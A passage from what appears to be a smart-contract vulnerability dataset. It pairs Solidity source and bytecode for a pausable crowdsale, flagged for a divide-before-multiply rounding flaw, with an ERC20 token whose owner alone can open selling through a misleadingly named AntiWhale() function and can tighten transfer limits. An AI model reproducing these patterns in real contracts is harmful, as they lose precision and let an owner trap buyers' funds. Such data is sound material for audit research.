* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
uint256 public divisor;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, uint256 _divisor, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_divisor > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
divisor = _divisor;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract YOLAfterCrowdsale is Ownable, Pausable, Crowdsale {
constructor(uint256 _rate, uint256 _divisor, address _wallet, ERC20 _token)
public
Ownable()
Crowdsale(_rate, _divisor, _wallet, _token)
{
pause();
}
function setDivisor(uint256 _divisor) onlyOwner whenPaused {
divisor = _divisor;
}
function setRate(uint256 _rate) onlyOwner whenPaused {
rate = _rate;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.div(divisor).mul(rate);
}
}
|
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631f2dc5ef146100db5780632c4e722e1461010657806334fcf437146101315780633f4ba83a1461015e5780634042b66f14610175578063521eb273146101a05780635c975abb146101f7578063709f5ccc14610226578063715018a6146102535780638456cb591461026a5780638da5cb5b14610281578063ec8ac4d8146102d8578063f2fde38b1461030e578063fc0c546a14610351575b6100d9336103a8565b005b3480156100e757600080fd5b506100f0610476565b6040518082815260200191505060405180910390f35b34801561011257600080fd5b5061011b61047c565b6040518082815260200191505060405180910390f35b34801561013d57600080fd5b5061015c60048036038101908080359060200190929190505050610482565b005b34801561016a57600080fd5b50610173610502565b005b34801561018157600080fd5b5061018a6105c0565b6040518082815260200191505060405180910390f35b3480156101ac57600080fd5b506101b56105c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020357600080fd5b5061020c6105ec565b604051808215151515815260200191505060405180910390f35b34801561023257600080fd5b50610251600480360381019080803590602001909291905050506105ff565b005b34801561025f57600080fd5b5061026861067f565b005b34801561027657600080fd5b5061027f610781565b005b34801561028d57600080fd5b50610296610841565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61030c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a8565b005b34801561031a57600080fd5b5061034f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610866565b005b34801561035d57600080fd5b506103666108cd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506103b883836108f3565b6103c18261095f565b90506103d88260055461099190919063ffffffff16565b6005819055506103e883826109af565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361045f83836109bd565b6104676109c1565b6104718383610a2c565b505050565b60045481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104dd57600080fd5b600060149054906101000a900460ff1615156104f857600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561055d57600080fd5b600060149054906101000a900460ff16151561057857600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60055481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561065a57600080fd5b600060149054906101000a900460ff16151561067557600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106da57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107dc57600080fd5b600060149054906101000a900460ff161515156107f857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c157600080fd5b6108ca81610a30565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1615151561090f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561094b57600080fd5b6000811415151561095b57600080fd5b5050565b600061098a60035461097c60045485610b2a90919063ffffffff16565b610b4590919063ffffffff16565b9050919050565b60008082840190508381101515156109a557fe5b8091505092915050565b6109b98282610b78565b5050565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610a29573d6000803e3d6000fd5b50565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a6c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284811515610b3857fe5b0490508091505092915050565b60008082840290506000841480610b665750828482811515610b6357fe5b04145b1515610b6e57fe5b8091505092915050565b610bc58282600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc99092919063ffffffff16565b5050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6c57600080fd5b505af1158015610c80573d6000803e3d6000fd5b505050506040513d6020811015610c9657600080fd5b81019080805190602001909291905050501515610cb257600080fd5b5050505600a165627a7a723058200723b9ed1463d1e0a6ae93bca7e918b94d026573f7bcbb2155111ffe1164d9d30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,425 |
0x0e5e970fd64dcb6e8ca5eb8b34fb718c998804fb
|
/**
*Submitted for verification at Etherscan.io on 2021-11-21
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ERC20Metadata is ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IpancakePair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IpancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IpancakeRouter02 is IpancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Bep20 standards for token creation by bloctechsolutions.com
contract WeThePeople is Context, ERC20, ERC20Metadata, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromMaxTx;
IpancakeRouter02 public pancakeRouter;
address public pancakePair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool public _sellingOpen = false; //once switched on, can never be switched off.
uint256 public _maxTxAmount;
constructor() {
_name = "Don't Worry Just Ape";
_symbol = "DW";
_decimals = 18;
_totalSupply = 1000000000000 * 1e18;
_balances[owner()] = _totalSupply;
_maxTxAmount = _totalSupply.mul(1).div(100);
IpancakeRouter02 _pancakeRouter = IpancakeRouter02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair(
address(this),
_pancakeRouter.WETH()
);
// set the rest of the contract variables
pancakeRouter = _pancakeRouter;
// exclude from max tx
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function AntiWhale() external onlyOwner {
_sellingOpen = true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function setExcludeFromMaxTx(address _address, bool value) public onlyOwner {
_isExcludedFromMaxTx[_address] = value;
}
// for 1% input 1
function setMaxTxPercent(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = _totalSupply.mul(maxTxAmount).div(100);
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "WE: transfer from the zero address");
require(recipient != address(0), "WE: transfer to the zero address");
require(amount > 0, "WE: Transfer amount must be greater than zero");
if(_isExcludedFromMaxTx[sender] == false &&
_isExcludedFromMaxTx[recipient] == false // by default false
){
require(amount <= _maxTxAmount,"amount exceed max limit");
if (!_sellingOpen && sender != owner() && recipient != owner()) {
require(recipient != pancakePair, " WE:Selling is not enabled");
}
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"WE: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806376474949116100b8578063a9059cbb1161007c578063a9059cbb1461026e578063b8c9d25c14610281578063c21ebd0714610294578063d543dbeb146102a7578063dd62ed3e146102ba578063f2fde38b146102f357600080fd5b806376474949146102185780637d1db4a5146102255780638da5cb5b1461022e57806395d89b4114610253578063a457c2d71461025b57600080fd5b806339509351116100ff57806339509351146101b75780635b89029c146101ca5780636adeb40d146101df57806370a08231146101e7578063715018a61461021057600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b610144610306565b6040516101519190610cc5565b60405180910390f35b61016d610168366004610d36565b610398565b6040519015158152602001610151565b6009545b604051908152602001610151565b61016d61019d366004610d60565b6103af565b60085460405160ff9091168152602001610151565b61016d6101c5366004610d36565b61045b565b6101dd6101d8366004610d9c565b610497565b005b6101dd6104ec565b6101816101f5366004610dd8565b6001600160a01b031660009081526001602052604090205490565b6101dd610525565b600a5461016d9060ff1681565b610181600b5481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610151565b61014461055b565b61016d610269366004610d36565b61056a565b61016d61027c366004610d36565b610600565b60055461023b906001600160a01b031681565b60045461023b906001600160a01b031681565b6101dd6102b5366004610df3565b61060d565b6101816102c8366004610e0c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101dd610301366004610dd8565b61065d565b60606006805461031590610e3f565b80601f016020809104026020016040519081016040528092919081815260200182805461034190610e3f565b801561038e5780601f106103635761010080835404028352916020019161038e565b820191906000526020600020905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b60006103a53384846107c0565b5060015b92915050565b60006103bc8484846108e4565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104435760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61045085338584036107c0565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103a5918590610492908690610e90565b6107c0565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105165760405162461bcd60e51b815260040161043a90610ea8565b600a805460ff19166001179055565b6000546001600160a01b0316331461054f5760405162461bcd60e51b815260040161043a90610ea8565b6105596000610c3e565b565b60606007805461031590610e3f565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105e95760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b606482015260840161043a565b6105f633858584036107c0565b5060019392505050565b60006103a53384846108e4565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161043a90610ea8565b6106576064610651836009546106f890919063ffffffff16565b9061077e565b600b5550565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161043a90610ea8565b6001600160a01b0381166106ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043a565b6106f581610c3e565b50565b600082610707575060006103a9565b60006107138385610edd565b9050826107208583610efc565b146107775760405162461bcd60e51b815260206004820152602160248201527f5361666